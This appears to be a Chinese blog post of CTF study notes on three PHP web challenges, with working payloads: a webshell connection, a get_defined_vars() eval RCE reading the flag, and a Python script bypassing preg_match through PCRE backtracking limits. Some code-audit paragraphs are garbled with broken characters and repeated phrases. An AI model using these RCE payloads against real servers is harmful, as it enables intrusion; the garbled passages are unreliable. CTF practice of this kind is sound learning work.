刷题学习记录

 [羊城杯 2020]easycon

考点:一句话,base64转图片

拿到题目先访问index.php却发现eval post cmd ,有点像一句话木马

 接着用蚁剑连接

 查看文件发现没有关于flag的文件,但是却有txt文件

 打开文件里面都是base64编码

 将base64编码转成图片就有

 [UUCTF 2022 新生赛]ez_rce

 代码审计:

  1. 首先,代码使用isset函数检查是否存在名为code的GET参数。如果该参数存在,则将其赋值给变量$code。

  2. 接下来,代码使用preg_match函数和正则表达式对����进行匹配。正则表达式用于检测code进行匹配。正则表达式用于检测code参数的内容是否包含一些关键字,如sys、pas、read、file等命令。如果����中不包含这些命令,则会输出"看看你输入的参数!!!不叫样子!!"并换行,然后执行����函数,将code中不包含这些命令,则会输出"看看你输入的参数!!!不叫样子!!"并换行,然后执行eval函数,将code的内容作为PHP代码进行解析和执行。

  3. 如果$code中包含了这些命令,则会输出"你想干什么?????????"并终止脚本的执行。

  4. 如果没有传递code参数,则会输出"居然都不输入参数,可恶!!!",并通过show_source函数显示当前文件的源代码。

 使用get_defined_vars()函数进行rce

/?code=eval(end(pos(get_defined_vars())));&bre=echo `ls /`;

/?code=eval(end(pos(get_defined_vars())));&bre=echo `cat /fffffffffflagafag`;

 参考:RCE篇之无参数rce | Arsene.Tang

[NISACTF 2022]middlerce

 代码审计:

  1. 首先,代码通过include语句包含了一个名为"check.php"的文件。该文件在代码中未提供,因此无法了解其具体内容和功能。

  2. 接下来,代码使用isset函数检查是否存在名为letter的REQUEST参数。如果该参数存在,则将其赋值给变量$txw4ever。

  3. 然后,代码使用正则表达式对���4����进行匹配。正则表达式用于检测txw4ever进行匹配。正则表达式用于检测txw4ever参数的内容是否包含一些特殊字符,如字母、特殊符号等。如果$txw4ever中包含这些字符,则会输出"再加把油喔"并终止脚本的执行。

  4. 如果���4����中不包含特殊字符,则代码会通过����������函数解析txw4ever中不包含特殊字符,则代码会通过jsond​ecode函数解析txw4ever的内容,并将其作为关联数组存储在变量$command中。然后,代码调用了一个名为checkdata的函数,该函数在当前代码中未提供。

  5. 最后,代码使用eval函数执行$command变量的内容。eval函数将字符串作为PHP代码进行解析和执行。

如果没有传递letter参数,则通过highlight_file函数显示当前文件的源代码。

preg_match过滤了换行符和异或符号,所以考虑利用preg_match本身回身回溯超过1000000会返回false绕过。

构造脚本:

import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28647/", data={"letter":payload})
print(res.text)

 运行后,得到flag

参考文章:

tail指令

PHP利用PCRE回溯次数限制绕过某些安全限制

 

笔记

php eval()函数

(PHP 4, PHP 5, PHP 7, PHP 8)

eval — 把字符串作为PHP代码执行

说明 eval(string $code)

把字符串 code 作为PHP代码执行。

    函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。
    如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,要允许传入任何由用户提供的、未经完整验证过的数据 。
 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值